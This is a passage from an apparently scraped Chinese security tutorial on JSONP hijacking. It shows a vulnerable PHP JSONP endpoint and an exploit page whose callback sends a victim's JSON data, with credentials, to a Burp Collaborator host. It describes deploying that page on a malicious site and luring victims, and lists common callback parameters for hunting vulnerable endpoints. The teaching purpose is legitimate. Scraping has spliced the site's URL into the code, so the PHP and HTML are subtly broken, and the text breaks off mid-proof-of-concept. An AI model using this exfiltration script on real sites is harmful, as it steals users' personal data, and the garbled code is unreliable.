跨域漏洞那些事儿(cors、jsonp)( 三 )


%3c/script>
&storeId=1"
</script>
跨域除了cors外还有一种非官方的方法jsonp,jsonp 是 JSON with padding(填充式 JSON 或参数式 JSON)的简写 。
jsonp通过动态创建<script>标签,然后利用<script>的src属性不受同源策略的约束来获取跨域数据 。
jsonp在造成方便的同时也造成了一定的安全的问题 。jsonp劫持最早在08年提出,早期各大厂商并不重视此类漏洞,但在个人信息保护严密的现在,jsonp劫持带来的信息泄露问题,促使各大src厂商开始重视jsonp劫持漏洞 。以下简要分析jsonp劫持原理,很多不足之处,还望大佬们斧正 。
No.2
jsonp劫持
2.1 漏洞场景模拟:
某司因为业务需求,需要网站B从网站A中获取json数据,所以他们在A中实现了一个jsonp接口

跨域漏洞那些事儿(cors、jsonp)

文章插图
接口代码如下:
<?php
header('Content-type: Application/json');
//获取回调函数名
$jsonpCallback = htmlspecialchars($_REQUEST ['jsonp']);
//json数据
$json_data = https://www.isolves.com/it/aq/wl/2020-08-31/'["张三","12011012110","男","浙江杭州"]';
//输出jsonp格式的数据
echo $jsonpCallback . "(" . $json_data . ")";
?>
网站B代码如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP 实例</title>
</head>
<body>
<div id="divCustomers"></div>
<script type="text/JAVAscript">
function callback(result, methodName)
{
var html = '<ul>';
for(var i = 0; i < result.length; i++)
{
html += '<li>' + result[i] + '</li>';
}
html += '</ul>';
document.getElementById('divCustomers').innerHTML = html;
}
</script>
<script type="text/JavaScript" src=https://www.isolves.com/it/aq/wl/2020-08-31/"http://127.0.0.1/jsonp.php?jsonp=callback">
</body>
</html>
效果如下:
跨域漏洞那些事儿(cors、jsonp)

文章插图
此时通过jsonp接口,实现了跨域传输 。然而该跨域传输过程存在很大的安全安全问题,因为对json参数调用者没有任何限制
2.2 漏洞利用流程:
这里使用burp的collaborator client功能来接收http记录,主要是为了实验,也演示一下collaborator client的强大功能,在实际利用中可以直接向本地127.0.01发送请求,在web日志记录中查看即可
2.2.1 打开collaborator client获取请求链接
跨域漏洞那些事儿(cors、jsonp)

文章插图
跨域漏洞那些事儿(cors、jsonp)

文章插图
2.2.2 复制链接填入脚本,点击Poll now开始循环监听http请求 。
<h1>jsonp exp</h1>
<script type="text/javascript">
function callback(result)
{
var req = new XMLHttpRequest;
//向burp的collaborator client发送请求,并携带获取到json数据
req.open('get','https://r2u9atjp588pt96t5cpef5o40v6lua.burpcollaborator.net/?userinfo='+result,true);
req.withCredentials = true;
req.send;
}
</script>
//jsonp接口
<script type="text/javascript" src=https://www.isolves.com/it/aq/wl/2020-08-31/"http://127.0.0.1/jsonp.php?jsonp=callback">
2.2.3 将脚本部署到恶意网站,并将网站链接发送给受害者,受害者访问链接,即可在collaborator client中获取到用户的json数据 。
跨域漏洞那些事儿(cors、jsonp)

文章插图
2.3 jsonp挖掘思路
知道了应用场景,也知道利用流程,此时就应该思考怎么利用jsonp漏洞了
工具挖掘可以使用xray,xray自带有jsonp漏洞检测功能,监听端口,被动扫描就完事
手工挖掘也有一些小技巧,大佬总结的jsonp接口常用参数:
cb
callback
jsoncb
jsonpcb
jsonp
jQuery
jsoncallback
jsonpcallback
jsoncall
jsonpcall
访问网站首页
跨域漏洞那些事儿(cors、jsonp)

文章插图
1.打开network
2.勾选Preserver log
3.在搜索框中搜索常用jsonp参数
搜索到带有相关参数的链接,即可使用exp验证是否存在jsonp泄露 。
验证poc:
<!DOCTYPE html>
<html>
<head>
<title>jsonp劫持验证示例</title>


推荐阅读